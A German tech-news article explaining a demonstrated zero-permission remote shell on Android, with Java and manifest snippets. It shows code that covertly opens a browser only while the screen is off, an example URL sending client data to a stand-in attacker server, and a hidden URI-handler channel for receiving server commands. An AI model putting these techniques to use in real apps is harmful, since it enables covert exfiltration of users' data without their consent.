Thomas Cannon hat kürzlich in einem Videoclip demonstriert, wie er erfolgreich eine Remote-Shell ohne spezielle Internet-Rechte auf einem Android-Smartphone installieren konnte. Diese basiert nicht auf einer bestimmten Android-Schwachstelle sondern nutzt die reguläre API in geschickter Weise aus. Die verwendeten Techniken sind nicht neu, wurden von Cannon aber in trickreich implemntiert.
Android-Programmierung ist aufgrund des großen Marktanteils derzeit in aller Munde. Das Android Programmier-Model unterteilt dabei Anwendungen in verschiedene Komponenten. Alles was mit der Oberfläche der Applikation zu tun hat fällt in die Activity-Kategorie. Dazu gehören etwa die Button-, TextView-, ImageView-Klassen. Diese Activities werden Android-intern als Stack behandelt, und sobald eine bestimmte Activity beendet ist wird diese vom Stack entfernt. Eine weitere zentrale Android-Komponente sind Intents, die auszuführende Aufgaben beschrieben. So können Intents verwendet werden um mit “startAcitivity” eine andere Activity zu starten, um mit “BroadcastIntent” Nachrichten an “BroadcastReceiver” zu schicken oder aber Android-Services mit “startService” zu starten. Services sind dabei Komponenten, die ihre Arbeit im Hintergrund verrichten. Sie sind weder ein separater Prozess noch ein Thread, sondern eine Art Activity ohne UI.
Eine zentrale Rolle beim Entwickeln von Adroid-Applikationen kommt der “AndroidManifest.xml”-Datei zu. Neben Namen des Java-Pakets, minimaler Android-Versionsnummer und einer Beschreibung aller Komponenten der Anwendung finden sich dort auch Einträge für die von der Applikation benötigten Rechte. Android-Anwendungen können auf bestimmte Teile der API nur zugreifen, wenn dies in der Manifest-Datei auch vermerkt ist. Diese Rechte werden dabei unter “uses-permission” in der Manifrest-XML-Datei abgelegt:
<uses-permission android:name="android.permission.INTERNET" />
In diesem Fall würde die Anwendung Internet-Rechten verlangen und eine Installation einer solchen App würde den Anwender fragen, ob er damit einverstanden ist, dass er diesem Programm Internet-Zugriff gewährt. Android.permission enthält noch zahlreiche weitere Zugriffsrechte wie “SEND_SMS”, “REBOOT”, “RECORD_AUDIO” und viele mehr; die komplette und umfangreiche Liste findet sich auf der Developer-Seite.
Die nun vorgestellte Remote-Shell ist im Prinzip nicht spektakulär, nutzt sie doch nur schon länger bekannte Probleme des Android-Systems aus. Grundsätzlich wägt sich ein Android-Benutzer in Sicherheit, wenn er eine Applikation aus dem App-Market installiert, denn die Manifest-Datei einer jeden Applikation legt genau fest welche Rechte benötigt werden, und bei der Installation fragt die App diese ab. Ist ein Anwender damit nicht einverstanden, kann er die Installation jederzeit abbrechen. Wie in einem Vortrag auf DefCon 18 demonstriert wurde kann ein Angreifer aber auch ohne jegliche Rechte (Null-Rechte) eine ganze Menge auf dem Gerät anstellen. So wurde in dem DefCon Vortrag unter anderem folgendes demonstriert:
*Rebooten des Smartphones
*direktes Starten von Apps nach deren Installation
*Abfangen von Benutzereingaben
*Upload von Dateien auf das Smartphone
All dies funktioniert ohne speziellen Rechte in der Manifest-Datei. Doch wie ist der Upload von Dateien ohne Internet-Verbindung möglich? Die dafür verantwortliche “Schwachstelle” im Sicherheitsdesign von Android sind die Intents. Denn mit diesen kann eine Applikation eine andere via startActivity starten und mit ihr dann IPC-artig kommunizieren. Beispielsweise könnte eine Anwendung ohne android.permission.INTERNET Rechte damit die Linux Magazin Seite aufrufen:
startActivity(new Intent(Intent.ACTION_VIEW, Uri.parse("https://www.linux-magazin.de")));
Hiermit wird dann der Android angewiesen diese Seite zu laden. Natürlich ist es sehr auffällig, wenn sich plötzlich der Browser öffnet und eine Seite wie von Geisterhand aufruft. Aber das Ganze läßt sich leicht verstecken, wenn diese App angewiesen wird solche Zugriffe nur durchzuführen, falls der Screen des Smartphones deaktiviert ist, denn dann bekommt der Anwender davon nichts mit:
PowerManager pm = (PowerManager) getSystemService(Context.POWER_SERVICE);
if (!pm.isScreenOn()) {
Log.e("NetHack", "Screen off");
startActivity(new Intent(Intent.ACTION_VIEW,
Uri.parse("https://www.linux-magazin.de")).setFlags
(Intent.FLAG_ACTIVITY_NEW_TASK));
mBrowserDisplayed = true;
} else if (mBrowserDisplayed) {
Log.e("NetHack", "Screen on");
startActivity(new Intent(Intent.ACTION_MAIN).addCategory
(Intent.CATEGORY_HOME));
mBrowserDisplayed = false;
}
Hier wird der die “isScreenOn()”-Methode der PowerManager-Klasse verwendet, um zu prüfen, ob der Bildschirm gerade aktiv ist. Damit kann eine Null-Rechte-Applikation also problemlos auf das Internet zugreifen. Natürlich lassen sich so auch Informationen an einen Webserver übertragen, ganz einfach über URI-Parameter:
http://www.angreifer-server.com/clientdata?clientdata1=cd1&clientdata2=c<literal>d2
Für eine Zwei-Wege-Kommunikation ist es jetzt noch nötig, dass der Server auch Daten an das Smartphone senden kann. Doch wie soll das ohne Internet-Rechte funktionieren? Hierzu kann man sich ein weiteres Feature von Android zu Nutze machen nämlich, dass man eine Applikation als URI-Handler einsetzen kann. Das wird beispielsweise von Google Maps verwendet, so dass all “geo://” URI-Anfragen automatisch an die Google Map App weitergeleitet werden. Genauso kann eine andere beliebige andere App ohne spezielle Rechte einen URI-Handler registrieren:
<activity android:name=".NetHackReceiver"> <intent-filter> <action android:name="android.intent.action.VIEW"/> <category android:name="android.intent.category.DEFAULT"/> <category android:name="android.intent.category.BROWSABLE"/> <data android:scheme="nethack" android:host="data"/> </intent-filter> </activity>
Dieser Manifest-Eintrag hat zur Folge, dass alle “nethack://” Anfragen an die NetHackReceiver Activity weitergeleitet und dort verarbeitet werden:
public class NetHackReceiver extends Activity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
Log.e("NetHack", "URI: " + getIntent().toURI());
finish(); // So no one ever sees this activity
}
Wie genau hilft dies nun Daten von dem Server an die App zurückzusenden? Dazu lassen wir auf der Server Website, die vorher via Intent seitens der App angesteuert wurde, einfachen einen Redirect auf
nethack://serverdata?serverdata1=sd1&serverdata2=sd2
aufrufen. Dies startet dann den URI-Handler der App, der die vom Server gesendeten Daten verarbeiten kann. Auf diese Weise kann also die App-Daten an den Server senden, und der Server Daten an die App. Ohne jegliche Rechte ist damit eine Zwei-Wege-Kommunikation möglich. Auch wenn dieses Problem schon lange bekannt ist, so hat die Remote-Shell dies nun in sehr klarer Weise implementiert und zeigt wie gefährlich dies ist.
Worauf kann ein Angreifer mit einer solchen Remote-Shell zugreifen? Zunächst einmal läuft jede Android-Applikation unter eigener Benutzer- und Gruppen-ID (uid/gid). Trotzdem ist es mit der Shell beispielsweise möglich den Inhalt von SD-Speicherkarten auszulesen, denn der ist für alle uid/gid lesbar. Einige Apps legen sicherheitsrelevante Information wie E-Mail-Anhänge dort ab, worauf der Angreifer dann zugreifen könnte. Auch kann der Angreifer beispielsweise das Proc-Datei-System auslesen und Information über das Gerät sammeln.

